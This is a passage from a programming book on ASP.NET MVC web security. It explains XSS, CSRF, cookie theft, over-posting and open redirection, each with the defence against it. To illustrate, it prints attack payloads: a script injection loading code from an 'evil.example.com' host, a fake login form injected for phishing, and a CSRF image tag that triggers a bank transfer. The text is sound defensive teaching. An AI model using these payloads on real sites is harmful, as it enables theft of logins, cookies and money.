When complete, the provider will issue you a client id and secret, and you can plug them right into the commented out methods shown in `AuthConfig.cs`. For example, assume you registered a Facebook application and were provided an App ID “123456789012” and App Secret “abcdefabcdefcafbad.” (Note that these are examples and will not work.) You could then enable Facebook authentication using the following call in `AuthConfig.cs`:

```
public static class AuthConfig
{
    public static void RegisterAuth()
    {
        OAuthWebSecurity.RegisterFacebookClient(
            appId: "123456789012",
            appSecret: "abcdefabcdefcafbad");
    }
}
```

Security Implications of External Logins

While OAuth and OpenID simplify your site’s security code, they introduce other potential attack vectors into your application. If either a provider site or the security communication between your sites is compromised, an attacker could either subvert the login to your site or capture the user’s information. It’s important to continue to pay attention to security when you’re using delegated authentication. Security for your site is always your responsibility, even if you’re making use of external services for authentication.

Trusted External Login Providers

It’s important to only support providers whose security you trust, which generally means sticking with well-known providers. This is important for a few reasons.

First, when you are redirecting your users to external sites, you want to make sure that they’re not malicious or poorly secured sites that will leak or misuse your users’ login data or other information.

Second, authentication providers are giving you information about a user — not just their registration state, but also e-mail addresses and potentially other provider-specific information. If this information is incorrect, you could be authenticating the wrong person or using wrong user information.

FIGURE 7-10

Require SSL for Login

The callback from an external provider to your site contains security tokens that will allow access to your site and contain user information. It's important that this information be transmitted over HTTPS to prevent interception while this information travels over the Internet.

In order to enforce HTTPS for this callback, applications that support external logins should require HTTPS for access to the `AccountController`'s `Login` Get method using the `RequireHttps` attribute:

```
//  
// GET: /Account/Login  
  
[RequireHttps]  
[AllowAnonymous]  
public ActionResult Login(string returnUrl)  
{  
    ViewBag.ReturnUrl = returnUrl;  
    return View();  
}
```

Enforcing HTTPS during login to your site will cause all calls to external providers to occur over HTTPS, which, in turn, will cause the providers to make their callbacks to your site using HTTPS.

Additionally, it's important to use HTTPS with Google authentication. Google will report a user who logs in once via HTTP and later via HTTPS as two different people. Always requiring HTTPS will prevent this problem.

UNDERSTANDING THE SECURITY VECTORS IN A WEB APPLICATION

So far, this chapter has focused on using security features to control access to areas in your site. Many developers see this — making sure that the right usernames and passwords map to the correct sections of their web application — as the extent of their involvement in web application security.

However, if you'll remember, the chapter began with dire warnings about how your applications will need security features that do nothing but prevent misuse. When your web application is exposed to public users — especially the enormous, anonymous public Internet — it is vulnerable to a variety of attacks. Since web applications run on standard, text-based protocols like HTTP and HTML, they are especially vulnerable to automated attacks as well.

So, let's shift focus to seeing how hackers will try to misuse your applications, and how you can beat them.

Threat: Cross-Site Scripting

Let's start with a look at one of the most common attacks: *cross-site scripting* (XSS). This section discusses XSS, what it means to you, and how to prevent it.

Threat Summary

You have allowed this attack before, and maybe you just got lucky and no one walked through the unlocked door of your bank vault. Even if you're the most zealous security nut, you've let this one slip. It's unfortunate because XSS is the number one security vulnerability on the Web, and it's largely because of web developers unfamiliar with the risks.

XSS can be carried out in one of two ways: by a user entering nasty script commands into a website that accepts *unsanitized* user input or by user input being directly displayed on a page. The first example is called *passive injection* — whereby a user enters nastiness into a textbox, for example, and that script gets saved into a database and redisplayed later. The second is called *active injection* and involves a user entering nastiness into an input, which is immediately displayed on screen. Both are evil — take a look at passive injection first.

Passive Injection

XSS is carried out by *injecting* script code into a site that accepts user input. An example of this is a blog, which allows you to leave a comment to a post, as shown in Figure 7-11.

FIGURE 7-11

This has four text inputs: name, e-mail, comment, and URL, if you have a blog of your own. Forms like this make XSS hackers salivate for two reasons — first, they know that the input submitted in the form will be displayed on the site, and second, they know that encoding URLs can be tricky, and developers usually will forego checking these properly because they will be made part of an anchor tag anyway.

One thing to always remember (if we haven't overstated it already) is that the Black Hats out there are a lot craftier than you are. We won't say they're smarter, but you might as well think of them this way — it's a good defense.

The first thing an attacker will do is see if the site will encode certain characters upon input. It's a safe bet that the comment field is protected and probably so is the name field, but the URL field smells ripe for injection. To test this, you can enter an innocent query, like the one in Figure 7-12.

FIGURE 7-12

It's not a direct attack, but you've placed a “less than” sign into the URL; what you want to see is if it gets encoded to <, which is the HTML replacement character for <. If you post the comment and look at the result, all looks fine (see Figure 7-13).

**FIGURE 7-13**

There's nothing here that suggests anything is amiss. But you've already been tipped off that injection is possible — there is no validation in place to tell you that the URL you've entered is invalid! If you view the source of the page, your XSS Ninja Hacker reflexes get a rush of adrenaline because right there, plain as day, is very low-hanging fruit:

```
<a href="No blog! Sorry :<">Bob</a>
```

This may not seem immediately obvious, but take a second and put your Black Hat on, and see what kind of destruction you can cause. See what happens when you enter this:

><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>

This entry closes off the anchor tag that is not protected and then forces the site to load an IFRAME, as shown in Figure 7-14.

A screenshot of a comment section. At the top right, it says "2 Comments" and "leave your own". Below that is a small profile picture of a man with a shaved head. To the right of the picture, the text "Jon Galloway said" and "December 13, 2013" is displayed in red. Below the date is the comment text: "Great site! Love the ideas here".

On the left side of the comment area, there is a small gray square containing a white smiley face icon.

The main content area contains a large black rectangular box with white text that reads:

**You Have Been
Hacked. Have a
Nice Day You Not
1337 Person. All
Your Files are
Belong To Us N00b**

FIGURE 7-14

This would be pretty silly if you were out to hack a site, because it would tip off the site's administrator and a fix would quickly be issued. No, if you were being a truly devious Black Hat Ninja Hacker, you would probably do something like this:

```
"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="
```

This line of input would close off the anchor tag, inject a script tag, and then open another anchor tag so as not to break the flow of the page. No one's the wiser (see Figure 7-15).

Even when you hover over the name in the post, you won't see the injected script tag — it's an empty anchor tag! The malicious script would then be run when anyone visits the site and could do malicious operations such as send the user's cookies or data to the hacker's own site.

FIGURE 7-15

Active Injection

Active XSS injection involves a user sending in malicious information that is immediately shown on the page and is not stored in the database. The reason it's called active is that it involves the user's participation directly in the attack — it doesn't sit and wait for a hapless user to stumble upon it.

You might be wondering how this kind of thing would represent an attack. It seems silly, after all, for users to pop up JavaScript alerts to themselves or to redirect themselves off to a malicious site using your site as a graffiti wall — but there are definitely reasons for doing so.

Consider the *search this site* mechanism, found on just about every site out there. Most site searches will return a message saying something to the effect of “Your search for ‘Active Script Injection’ returned X results.” Figure 7-16 shows one from an MSDN search.

Far too often, this message is not HTML-encoded. The general feeling here is that if users want to play XSS with themselves, let them. The problem comes in when you enter the following text into a site that is not protected against active injection (using a Search box, for example):

```
"<br><br>Please login with the form below before proceeding:  
<form action="mybadsite.aspx"><table><tr><td>Login:</td><td>  
<input type=text length=20 name=login></td></tr>  
<tr><td>Password:</td><td><input type=text length=20 name=password>  
</td></tr></table><input type=submit value=LOGIN></form>"
```

This little bit of code (which can be extensively modified to mess with the search page) will actually output a login form on your search page that submits to an offsite URL. There is a site that is built to show this vulnerability (from the people at Acunetix, who built this site intentionally to show how active injection can work), and if you load the preceding term into their search form, this will render Figure 7-17.

You could have spent a little more time with the site's CSS and format to get this just right, but even this basic little hack is amazingly deceptive. If users were to actually fall for this, they would be handing the attacker their login information!

The screenshot shows the MSDN Search results for the query "active script injection". The results page includes a search bar, a navigation bar with links like "Home", "Search", and "Help", and a sidebar with "Library" and "Rating" sections. The main content area displays four search results:

The navigation bar includes links for "about", "forums", "search", "login", and "register". Below the navigation is a search bar with a "search posts" button. A message "You searched for '" is displayed. A login form is present with fields for "Login:" and "Password:", and a "LOGIN" button.

FIGURE 7-17

The basis of this attack is our old friend, social engineering:

Hey look at this cool site with naked pictures of you! You'll have to log in — I protected them from public view....

The link would be this:

```
<a href="http://testasp.acunetix.com/Search.asp?tfSearch= <br><br>Please login
with the form below before proceeding:<form action="mybadsite.aspx"><table>
```

```
<tr><td>Login:</td><td><input type=text length=20 name=login></td></tr>
<td>Password:</td><td><input type=text length=20 name=password></td></tr>
</table><input type=submit value=LOGIN></form>">look at this cool site with
naked pictures</a>
```

Plenty of people fall for this kind of thing every day, believe it or not.

Preventing XSS

This section outlines the various ways to prevent XSS attacks in your MVC applications.

HTML-Encode All Content

XSS can be avoided most of the time by using simple HTML encoding — the process by which the server replaces HTML-reserved characters (like < and >) with codes. You can do this with MVC in the view simply by using `Html.Encode` or `Html.AttributeEncode` for attribute values.

If you get only one thing from this chapter, please let it be this: *Every bit of output on your pages should be HTML-encoded or HTML-attribute-encoded*. I said this at the top of the chapter, but I'd like to say it again: `Html.Encode` is your best friend.

NOTE Views using the Web Forms view engine should always be using `Html.Encode` when displaying information. The ASP.NET 4 HTML Encoding Code Block syntax makes this easier because you can replace:

```
<% Html.Encode(Model.FirstName) %>
```

with the much shorter:

```
<%: Model.FirstName %>
```

The Razor view engine HTML-encodes output by default, so a model property displayed using:

```
@Model.FirstName
```

will be HTML-encoded without any additional work on your part.

If you are absolutely certain that the data has already been sanitized or comes only from a trusted source (such as yourself), you can use an HTML helper to output the data verbatim:

```
@Html.Raw(Model.HtmlContent)
```

For more information on using `Html.Encode` and HTML Encoding Code Blocks, see the discussion in Chapter 3.

It's worth mentioning at this point that ASP.NET Web Forms guides you into a system of using server controls and postback, which, for the most part, tries to prevent XSS attacks. Not all server controls protect against XSS (for example, Labels and Literals), but the overall Web Forms package tends to push people in a safe direction.

MVC offers you more freedom — but it also allows you some protections out of the box. Using the `HtmlHelpers`, for example, will encode your HTML as well as encode the attribute values for each tag. In addition, you're still working within the Page model, so every request is validated unless you turn this off manually.

But you don't need to use any of these things to use MVC. You can use an alternate view engine and decide to write HTML by hand — this is up to you, and that's the point. This decision, however, needs to be understood in terms of what you're giving up, which are some automatic security features.

`Html.AttributeEncode` and `Url.Encode`

Most of the time it's the HTML output on the page that gets all the attention; however, it's important to also protect any attributes that are dynamically set in your HTML. In the original example shown previously, you saw how the author's URL can be spoofed by injecting some malicious code into it. This was accomplished because the sample outputs the anchor tag like this:

```
<a href="<%=Url.Action("AuthorUrl")%>"><%=AuthorUrl%></a>
```

To properly *sanitize* this link, you need to be sure to encode the URL that you're expecting. This replaces reserved characters in the URL with other characters (" " with %20, for example).

You might also have a situation in which you're passing a value through the URL based on user input from somewhere on your site:

```
<a href="<%=Url.Action("index", "home", new { name= ViewData["name"] })%>">Click here</a>
```

If the user is evil, she could change this name to:

```
"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="
```

and then pass that link on to unsuspecting users. You can avoid this by using encoding with `Url.Encode` or `Html.AttributeEncode`:

```
<a href="<%=Url.Action("index", "home", new { name=Html.AttributeEncode(ViewData["name"]) })%>">Click here</a>
```

or:

```
<a href="<%=Url.Encode(Url.Action("index", "home", new { name= ViewData["name"] }))%>">Click here</a>
```

Bottom line: *Never, ever trust any data that your user can somehow touch or use.* This includes any form values, URLs, cookies, or personal information received from third-party sources such as OpenID. Remember that the databases or services your site accesses could have been compromised, too. Anything input to your application is suspect, so you need to encode everything you possibly can.

JavaScript Encoding

Just HTML-encoding everything isn't necessarily enough, though. Let's take a look at a simple exploit that takes advantage of the fact that HTML-encoding doesn't prevent JavaScript from executing.

In this scenario, we'll assume that you've modified the `HomeController` in a default MVC 4 Internet application to take a `username` as a parameter and add it to the `ViewBag` to display in a greeting:

```
public ActionResult Index(string UserName)
{
    ViewBag.UserName = UserName;
    return View();
}
```

Your boss wants to draw attention to this message, so you're animating it in with the following jQuery. The updated header section of the /Home/Index.cshtml view shows this code.

```
@{
    ViewBag.Title = "Home Page";
}
@section featured {
    <section class="featured">
        <div class="content-wrapper">
            <hgroup class="title">
                <h1>@ViewBag.Title.</h1>
                <h2 id="welcome-message"></h2>
            </hgroup>
        </div>
    </section>
}

@section scripts {
    @if(ViewBag.UserName != null) {
        <script type="text/javascript">
            $(function () {
                var msg = 'Welcome, @ViewBag.UserName!';
                $('#welcome-message').html(msg).hide().show('slow');
            });
        </script>
    }
}
```

This looks great, and because you're HTML-encoding the ViewBag value, you're perfectly safe, right? No, you are not. The following URL will slip right through (see Figure 7-18):

```
http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/
script\x3e
```

What happened? Well, remember that you were HTML-encoding, not JavaScript-encoding. You were allowing user input to be inserted into a JavaScript string that was then added to the Document Object Model (DOM). That means that the hacker could take advantage of hex escape codes to put in any JavaScript code he or she wanted. And as always, remember that real hackers won't show a JavaScript alert — they'll do something evil, like silently steal user information or redirect them to another web page.

There are two solutions to this problem. The narrow solution is to use the `Ajax.JavaScriptStringEncode` helper function to encode strings that are used in JavaScript, exactly as we'd use `Html.Encode` for HTML strings. A more thorough solution is to use the AntiXSS library.

Using AntiXSS as the Default Encoder for ASP.NET

The AntiXSS library adds an additional level of security to your ASP.NET applications. There are a few important differences in how it works compared with the ASP.NET and MVC encoding functions, but the most important are as follows:

FIGURE 7-18

NOTE *The extensibility point to allow overriding the default encoder was added in ASP.NET 4. It is always available in MVC 4, as MVC 4 targets .NET 4 and higher. However, previous versions of MVC running on .NET 3.5 are not able to override the default encoder.*

- AntiXSS uses a whitelist of allowed characters, whereas ASP.NET's default implementation uses a limited blacklist of disallowed characters. By allowing only known safe input, AntiXSS is more secure than a filter that tries to block potentially harmful input.
- The AntiXSS library is focused on preventing security vulnerabilities in your applications, whereas ASP.NET encoding is primarily focused on preventing display problems due to “broken” HTML.

To use the AntiXSS library, simply install the AntiXSS NuGet package.

```
Install-Package AntiXSS
```

NOTE *Prior to AntiXSS 4.1, you had to write a new class that derived from `HttpEncoder` and replace your calls to `Html.Encode` so they would call methods in your new `HttpEncoder` class. With AntiXSS 4.1 that is no longer necessary because the library includes an encoder class for you.*

With that in place, any time you call `Html.Encode` or use an `<% : %>` HTML Encoding Code Block, the AntiXSS library encodes the text, which takes care of both HTML and JavaScript encoding.

You can also use the AntiXSS Encoder to perform an advanced JavaScript string encode; that prevents some sophisticated attacks that could get by the `Ajax.JavaScriptStringEncode` helper function. The following code sample shows how this is done. First, you add an `@using` statement to bring in the AntiXSS encoder namespace, then you can use it the `Encoder.JavaScriptEncode` helper function.

```
@using Microsoft.Security.Application

@{
    ViewBag.Title = "Home Page";
}
@section featured {
    <section class="featured">
        <div class="content-wrapper">
            <hgroup class="title">
                <h1>@ViewBag.Title.</h1>
                <h2 id="welcome-message"></h2>
            </hgroup>
        </div>
    </section>
}

@section scripts {
    @if(ViewBag.UserName != null) {
        <script type="text/javascript">
            $(function () {
                var msg = 'Welcome, @Encoder.JavaScriptEncode(ViewBag.UserName, false)!';
                $('#welcome-message').html(msg).hide().show('slow');
            });
        </script>
    }
}
```

When this is executed, you'll see that the previous attack is no longer successful, as shown in Figure 7-19.

FIGURE 7-19

Threat: Cross-Site Request Forgery

A *cross-site request forgery* (CSRF, pronounced C-surf, also known by the acronym XSRF) attack can be quite a bit more potent than simple XSS, discussed earlier. This section discusses CSRF, what it means to you, and how to prevent it.

Threat Summary

To fully understand what CSRF is, let's break it into its parts: XSS plus a confused deputy. We've already discussed XSS, but the term *confused deputy* is new and worth discussing. Wikipedia describes a confused deputy attack as follows:

A confused deputy is a computer program that is innocently fooled by some other party into misusing its authority. It is a specific type of privilege escalation.

http://en.wikipedia.org/wiki/Confused_deputy_problem

In this case, that deputy is your browser, and it's being tricked into misusing its authority in representing you to a remote website. To illustrate this, we've worked up a rather silly yet annoying example.

Suppose that you create a nice site that lets users log in and out and do whatever it is that your site lets them do. The `Login` action lives in your `AccountController`, and you've decided that you'll keep things simple and extend the `AccountController` to include a `Logout` action as well, which will forget who the user is:

```
public ActionResult Logout() {
    FormsAuth.SignOut();
    return RedirectToAction("Index", "Home");
}
```

Now, suppose that your site allows limited *whitelist* HTML (a list of acceptable tags or characters that might otherwise get encoded) to be entered as part of a comment system (maybe you wrote a forums app or a blog) — most of the HTML is stripped or sanitized, but you allow images because you want users to be able to post screenshots.

One day, a nice person adds this mildly malicious HTML image tag to his comment:

```

```

Now, whenever anyone visits this page, the “image” will be requested (which of course isn't an image at all), and they are logged out of the site. Again, this isn't necessarily a CSRF attack, but it shows how some trickery can be used to coax your browser into making a GET request to an arbitrary site without your knowing about it. In this case, the browser did a GET request for what it thought was an image — instead, it called the `logout` routine and passed along your cookie. Boom — confused deputy.

This attack works because of the way the browser works. When you log in to a site, information is stored in the browser as a cookie. This can be an in-memory cookie (a *session* cookie), or it can be a more permanent cookie written to file. Either way, the browser tells your site that it is indeed you making the request.

This is at the core of CSRF — the ability to use XSS plus a confused deputy (and a sprinkle of social engineering, as always) to pull off an attack on one of your users. Unfortunately, CSRF happens to be a vulnerability that not many sites have prevention measures for (I talk about these in just a minute).

Let's up the stakes a bit and work up a real CSRF example, so put on your Black Hat and see what kind of damage you can do with your favorite massively public, unprotected website. We won't use real names here — so let's call this site *Big Massive Site*.

Right off the bat, it's worth noting that this is an odds game that you, as Mr. Black Hat, are playing with Big Massive Site's users. There are ways to increase these odds, which are covered in a minute, but straight away the odds are in your favor because Big Massive Site has upward of 50 million requests per day.

Now it comes down to *the Play* — finding out what you can do to exploit Big Massive Site's security hole: the inclusion of linked comments on the site. In surfing the Web and trying various things, you have amassed a list of *Widely Used Online Banking Sites* that allow transfers of money online as well as the payment of bills. You've studied the way that these Widely Used Online Banking Sites actually carry out their transfer requests, and one of them offers some seriously low-hanging fruit — the transfer is identified in the URL:

```
http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=23234554333&from=checking
```

Granted, this may strike you as extremely silly — what bank would ever do this? Unfortunately, the answer to that question is “too many,” and the reason is actually quite simple — web developers trust the browser far too much, and the URL request that you're seeing is leaning on the fact that the server will validate the user's identity and account using information from a session cookie. This isn't necessarily a bad assumption — the session cookie information is what keeps you from logging in for every page request! The browser has to remember *something*!

There are still some missing pieces here, and for that you need to use a little social engineering. You pull your Black Hat down a little tighter and log in to Big Massive Site, entering this as a comment on one of the main pages:

Hey, did you know that if you're a Widely Used Bank customer the sum of the digits of your account number add up to 30? It's true! Have a look: http://www.widelyusedbank.example.com.

You then log out of Big Massive Site and log back in with a second, fake account, leaving a comment following the *seed* comment above as the fake user with a different name:

```
"OMG you're right! How weird!<img src ="http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=23234554333&from=checking" />.
```

The game here is to get Widely Used Bank customers to go log in to their accounts and try to add up their numbers. When they see that it doesn't work, they head back over to Big Massive Site to read the comment again (or they leave their own saying it doesn't work).

Unfortunately for Perfect Victim, his browser still has his login session stored in memory — he is still logged in! When he lands on the page with the CSRF attack, a request is sent to the bank’s website (where they are not ensuring that you’re on the other end), and bam, Perfect Victim just lost some money.

The image in the comment (with the CSRF link) will be rendered as a broken red X, and most people will think it’s just a bad avatar or emoticon. But actually, it is a remote call to a page that uses GET to run an action on a server — a confused deputy attack that nets you some cold cash. It just so happens that the browser in question is Perfect Victim’s browser — so it isn’t traceable to you (assuming that you’ve covered your behind with respect to fake accounts in the Bahamas, and so on). This is almost the perfect crime!

This attack isn’t restricted to simple image tag/GET request trickery; it extends well into the realm of spammers who send out fake links to people in an effort to get them to click to go to their site (as with most bot attacks). The goal with this kind of attack is to get users to click the link, and when they land on the site, a hidden iFRAME or bit of script auto-submits a form (using HTTP POST) off to a bank, trying to make a transfer. If you’re a Widely Used Bank customer and have just been there, this attack will work.

Revisiting the previous forum post social engineering trickery — it only takes one additional post to make this latter attack successful:

Wow! And did you know that your savings account number adds up to 50? This is so weird — read this news release about it:

```
<a href="http://badnastycsrfsite.example.com">CNN.com</a>
```

It's really weird!

Clearly, you don’t even need to use XSS here — you can just plant the URL and hope that someone is clueless enough to fall for the bait (going to their Widely Used Bank account and then heading to your fake page at <http://badnastycsrfsite.example.com>).

Preventing CSRF Attacks

You might be thinking that this kind of thing should be solved by the framework — and it is! ASP .NET MVC puts the power in *your* hands, so perhaps a better way of thinking about this is that ASP.NET MVC should enable *you* to do the right thing, and indeed it does!

Token Verification

ASP.NET MVC includes a nice way of preventing CSRF attacks, and it works on the principle of verifying that the user who submitted the data to your site did so willingly. The simplest way to do this is to embed a hidden input into each form request that contains a unique value. You can do this with the HTML Helpers by including this in every form:

```
<form action="/account/register" method="post">
@Html.AntiForgeryToken()
...
</form>
```

`Html.AntiForgeryToken` will output an encrypted value as a hidden input:

```
<input type="hidden" value="012837udny31w90hjf7u">
```

This value will match another value that is stored as a session cookie in the user's browser. When the form is posted, these values will be matched using an `ActionFilter`:

```
[ValidateAntiForgeryToken]
public ActionResult Register(...)
```

This will handle most CSRF attacks — but not all of them. In the previous example, you saw how users can be registered automatically to your site. The anti-forgery token approach will take out most CSRF-based attacks on your `Register` method, but it won't stop the *bots* out there that seek to auto-register (and then spam) users to your site. We will look at ways to limit this kind of thing later in the chapter.

Idempotent GETs

Big word, for sure — but it's a simple concept. If an operation is *idempotent*, it can be executed multiple times without changing the result. In general, a good rule of thumb is that you can prevent a whole class of CSRF attacks by only *changing* things in your DB or on your site by using POST. This means Registration, Logout, Login, and so forth. At the very least, this limits the confused deputy attacks somewhat.

HttpReferrer Validation

This can be handled using an `ActionFilter`, wherein you check to see if the client that posted the form values was indeed your site:

```
public class IsPostedFromThisSiteAttribute : AuthorizeAttribute
{
    public override void OnAuthorize(AuthorizationContext filterContext)
    {
        if (filterContext.HttpContext != null)
        {
            if (filterContext.HttpContext.Request.UrlReferrer == null)
                throw new System.Web.HttpException("Invalid submission");

            if (filterContext.HttpContext.Request.UrlReferrer.Host !=
                "mysite.com")
                throw new System.Web.HttpException
                    ("This form wasn't submitted from this site!");
        }
    }
}
```

You can then use this filter on the `Register` method, as follows:

```
[IsPostedFromThisSite]
public ActionResult Register(...)
```

As you can see there are different ways of handling this — which is the point of MVC. It's up to you to know what the alternatives are and to pick one that works for you and your site.

Threat: Cookie Stealing

Cookies are one of the things that make the Web usable, as most sites use cookies to identify users after login. Without them, life becomes login box after login box. If an attacker can steal your cookie, they can often impersonate you.

As a user, you can disable cookies on your browser to minimize the theft of your particular cookie (for a given site), but chances are you'll get a snarky warning that "Cookies must be enabled to access this site."

This section discusses cookie stealing, what it means to you, and how to prevent it.

Threat Summary

Websites use cookies to store information between page requests or browsing sessions. Some of this information is pretty tame — things like site preferences and history. Other information can contain information the site uses to identify you between requests, such as the ASP.NET Forms Authentication Ticket.

There are two types of cookies:

- **Session cookies:** Session cookies are stored in the browser's memory and are transmitted via the header during every request.
- **Persistent cookies:** Persistent cookies are stored in actual text files on your computer's hard drive and are transmitted the same way.

The main difference is that session cookies are *forgotten* when your session ends — persistent cookies are not, and a site will *remember* you the next time you come along.

If you could manage to steal someone's authentication cookie for a website, you could effectively assume their identity and carry out all the actions that they are capable of. This type of exploit is actually very easy — but it relies on XSS vulnerability. The attacker must be able to inject a bit of script onto the target site in order to steal the cookie.

Jeff Atwood of CodingHorror.com wrote about this issue as StackOverflow.com was going through beta:

Imagine, then, the surprise of my friend when he noticed some enterprising users on his website were logged in as him and happily banging away on the system with full unfettered administrative privileges.

—HTTP://WWW.CODINGHORROR.COM/BLOG/2008/08/PROTECTING-YOUR-COOKIES-
HTTPONLY.HTML

How did this happen? XSS, of course. It all started with this bit of script added to a user's profile page:

```
" /><
```

You can also set this individually for each cookie you write:

```
Response.Cookies["MyCookie"].Value="Remembering you...";
Response.Cookies["MyCookie"].HttpOnly=true;
```

The setting of this flag tells the browser to invalidate the cookie if anything but the server sets it or changes it. This is fairly straightforward, and it will stop most XSS-based cookie issues, believe it or not. Because it is rare for script to need to access to cookies, this feature should almost always be used.

Threat: Over-Posting

ASP.NET MVC Model Binding is a powerful feature that greatly simplifies the process handling user input by automatically mapping the input to your model properties based on naming

conventions. However, this presents another attack vector, which can allow your attacker an opportunity to populate model properties you didn't even put on your input forms.

This section discusses over-posting, what it means to you, and how to prevent it.

Threat Summary

ASP.NET Model Binding can present another attack vector through *over-posting*. Here's an example with a store product page that allows users to post review comments:

```
public class Review {
    public int ReviewID { get; set; } // Primary key
    public int ProductID { get; set; } // Foreign key
    public Product Product { get; set; } // Foreign entity
    public string Name { get; set; }
    public string Comment { get; set; }
    public bool Approved { get; set; }
}
```

You have a simple form with the only two fields you want to expose to a reviewer, Name and Comment:

```
Name: @Html.TextBox("Name") <br />
Comment: @Html.TextBox("Comment")
```

Because you've only exposed Name and Comment on the form, you might not be expecting that a user could approve his or her own comment. However, a malicious user can easily meddle with the form post using any number of web developer tools, adding "Approved=true" to the query string or form post data. The model binder has no idea what fields you've included on your form and will happily set the Approved property to true.

What's even worse, because your Review class has a Product property, a hacker could try posting values in fields with names like Product.Price, potentially altering values in a table you never expected end users could edit.

EXAMPLE: MASS ASSIGNMENT ON GITHUB.COM

This kind of attack exploits a feature that is common to many web frameworks that are based on the MVC architectural pattern. In March 2012, this exact attack was used in a widely publicized attack on the GitHub.com site, exploiting the mass assignment feature Ruby on Rails. The attacker created a new public key, which can be used for administrative updates, and manually added that key to the administrative user record for the "rails" user by adding that hidden field to the form on which he'd created the public key:

```
<input type=hidden value=USER_ID_OF_TARGET_ACCOUNT
name=public_key[user_id]>
```

He inserted the User ID of the target account into the value attribute of that form field, submitted the form, and then had administrative privileges for that user's content. The attacker described the attack in a very terse blog post here:

<http://homakov.blogspot.com/2012/03/how-to.html>

continues

(continued)

GitHub promptly fixed the error by properly validating incoming form parameters, as described in their blog post here:

<https://github.com/blog/1068-public-key-security-vulnerability-and-mitigation>

The point is, this is not just a theoretical attack, and after this incident it has become more widely known.

Preventing Over-Posting with the Bind Attribute

The simplest way to prevent this is to use the `[Bind]` attribute to explicitly control which properties you want the Model Binder to bind to. `BindAttribute` can be placed either on the Model class or in the controller action parameter. You can use either a whitelist approach (discussed previously), which specifies all the fields you'll allow binding to `[Bind(Include="Name, Comment")]`, or you can just exclude fields you don't want to be bound to using a blacklist approach `[Bind(Exclude="ReviewID, ProductID, Product, Approved")]`. Generally a whitelist is a lot safer, because it's a lot easier to make sure you just list the properties you want bound than to enumerate all the properties you don't want bound.

Here's how to annotate our `Review` class to only allow binding to the `Name` and `Comment` properties:

```
[Bind(Include="Name, Comment")]
public class Review {
    public int ReviewID { get; set; } // Primary key
    public int ProductID { get; set; } // Foreign key
    public Product Product { get; set; } // Foreign entity
    public string Name { get; set; }
    public string Comment { get; set; }
    public bool Approved { get; set; }
}
```

A second alternative is to use one of the overloads on `UpdateModel` or `TryUpdateModel` that will accept a bind list, like the following:

```
UpdateModel(review, "Review", new string[] { "Name", "Comment" });
```

Still another way to deal with over-posting is to avoid binding directly to the data model. You can do this by using a View Model that holds only the properties you want to allow the user to set. The following View Model eliminates the over-posting problem:

```
public class ReviewViewModel {
    public string Name { get; set; }
    public string Comment { get; set; }
}
```

NOTE Brad Wilson wrote a good post that overviews the security implications of Model Validation, titled Input Validation vs. Model Validation. This guidance was written when these validation features were first released in MVC 2, but it's still relevant. You can read it at <http://bradwilson.typepad.com/blog/2010/01/input-validation-vs-model-validation-in-aspnet-mvc.html>.

Threat: Open Redirection

Starting with MVC 3, the Internet project template includes a new change in the Account Controller to prevent open redirection attacks. After explaining how open redirection attacks work, this section looks at how you can prevent open redirection attacks in your ASP.NET MVC applications. We will discuss the changes that have been made in the `AccountController` in MVC 3 and demonstrate how you can apply these changes in your existing MVC 1 and 2 applications.

Threat Summary

Any web application that redirects to a URL that is specified via the request, such as the query string or form data, can potentially be tampered with to redirect users to an external, malicious URL. This tampering is called an *open redirection attack*.

Whenever your application logic redirects to a specified URL, you must verify that the redirection URL hasn't been tampered with. The login used in the default `AccountController` for both MVC 1 and MVC 2 is vulnerable to open redirection attacks. We'll show the vulnerability in MVC 1 and 2 as an illustration, showing how MVC 3 and 4 protect against it.

A Simple Open Redirection Attack

To understand the vulnerability, let's look at how the login redirection works in a default MVC 2 Web Application project. In this application, attempting to visit a controller action that has the `AuthorizeAttribute` redirects unauthorized users to the `/Account/LogOn` view. This redirect to `/Account/LogOn` includes a `returnUrl` query string parameter so that the users can be returned to the originally requested URL after they have successfully logged in.

In Figure 7-20, you can see that an attempt to access the `/Account/ChangePassword` view when not logged in results in a redirect to `/Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%2f`.

Because the `ReturnUrl` query string parameter is not validated, an attacker can modify it to inject any URL address into the parameter to conduct an open redirection attack. To demonstrate this, you can modify the `ReturnUrl` parameter to `http://bing.com`, so the resulting login URL will be `/Account/LogOn?ReturnUrl=http://www.bing.com/`. Upon successfully logging in to the site, you are redirected to `http://bing.com`. Because this redirection is not validated, it could instead point to a malicious site that attempts to trick the user.

FIGURE 7-20

A More Complex Open Redirection Attack

Open redirection attacks are especially dangerous because an attacker knows that you're trying to log in to a specific website, which makes you vulnerable to a phishing attack. For example, an attacker could send malicious e-mails to website users in an attempt to capture their passwords. Let's look at how this would work on the NerdDinner site. (Note that the live NerdDinner site has been updated to protect against open redirection attacks.)

First, an attacker sends a link to the login page on NerdDinner that includes a redirect to their forged page:

```
http://nerddinner.com/Account/LogOn?returnUrl=http://nerddiner.com/Account/LogOn
```

Note that the return URL points to `nerddiner.com`, which is missing an “n” from the word dinner. In this example, this is a domain that the attacker controls. When you access the preceding link, you're taken to the legitimate `NerdDinner.com` login page, as shown in Figure 7-21.

When you correctly log in, the ASP.NET MVC `AccountController`'s `LogOn` action redirects us to the URL specified in the `returnUrl` query string parameter. In this case, it's the URL that the attacker has entered, which is `http://nerddiner.com/Account/LogOn`. Unless you're extremely watchful, it's very likely you won't notice this, especially because the attacker has been careful to make sure that their forged page looks exactly like the legitimate login page. This login page includes an error message requesting that you log in again, as shown in Figure 7-22. Clumsy you — you must have mistyped your password.

FIGURE 7-21

When you retype your username and password, the forged login page saves the information and sends you back to the legitimate NerdDinner.com site. At this point, the NerdDinner.com site has already authenticated us, so the forged login page can redirect directly to that page. The end result is that the attacker has your username and password, and you are unaware that you've provided it to them.

Looking at the Vulnerable Code in the AccountController LogOn Action

The code for the `LogOn` action in an MVC 2 application is shown in the following code. Note that upon a successful login, the controller returns a redirect to the `returnUrl`. You can see that no validation is being performed against the `returnUrl` parameter.

```
[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
    if (ModelState.IsValid)
    {
        if (MembershipService.ValidateUser(model.UserName, model.Password))
        {
